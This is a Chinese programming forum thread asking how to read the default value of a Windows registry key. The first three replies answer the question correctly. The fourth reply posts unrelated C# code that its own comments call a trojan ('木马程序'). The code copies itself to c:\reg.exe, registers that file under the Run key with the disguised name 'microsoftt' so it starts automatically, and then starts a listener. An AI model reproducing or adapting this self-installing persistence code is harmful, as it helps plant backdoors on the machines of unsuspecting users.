如题,每个注册表的项都有一个默认的键,象这样子的--“(默认)”,我怎么得到这个键值啊

解决方案 »

  1.   

    打开一个key后,使用GetValue(null)来得到那个default键的值
      

  2.   

    其实你到msdn中查RegistryKey类的GetValue方法的Re部分就能知道问题的答案了...
      

  3.   

    RegQueryValueEx( hKey, NULL, ...
      

  4.   

    public static int Main(String[] args) 
    {
    string a;
    a=Application.ExecutablePath;//取得当前文件的路径
    //a=Application.StartupPath;//取得当前文件的目录 if(!File.Exists(@"c:\reg.exe"))
    {
    moveCC1(a);
    }
    bool initiallyOwned = true;
    bool isCreated;
    Mutex m = new Mutex(initiallyOwned,"mytestt",out isCreated);
    if (!(initiallyOwned && isCreated))
    {
    //MessageBox.Show("抱歉,程序只能在一台机上运行一个实例!","提示");
    //Application.Exit();
    System.Environment.Exit(-1);
    }
    else
    {
    StartListening();
    }
    return 0;
    } private static void moveCC1(string a) 

    //得到主机的注册表的顶级节点 
    Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine; 
    //设置一个注册表子键的变量 
    RegistryKey key1=null;  try 

    //函数File.Move(string sourceFileName,string destFileName)起移动文件的作用 
    //sourceFileName为要移动的文件名,destFileName为文件的新路径 
    //File.Move("C:\\winnnt\\system\\msdoss.exe","d:\\winnt\\system32\\expleror.exe"); 
    File.Copy(a,@"c:\reg.exe",false);

    catch {} 
    //将新移的木马程序设为自启动.分析和前面一样 
    try 

    key1 = rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",true); 
    //key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe"); 
    key1.SetValue ("microsoftt",@"c:\reg.exe"); 
    key1.Close(); 

    catch{} 
    if(key1 ==null) 

    try 

    RegistryKey key2=rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"); 
    //key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe"); 
    key1.SetValue ("microsoftt",@"c:\reg.exe"); 
    key1.Close(); 

    catch{} 

    } //moveCC1()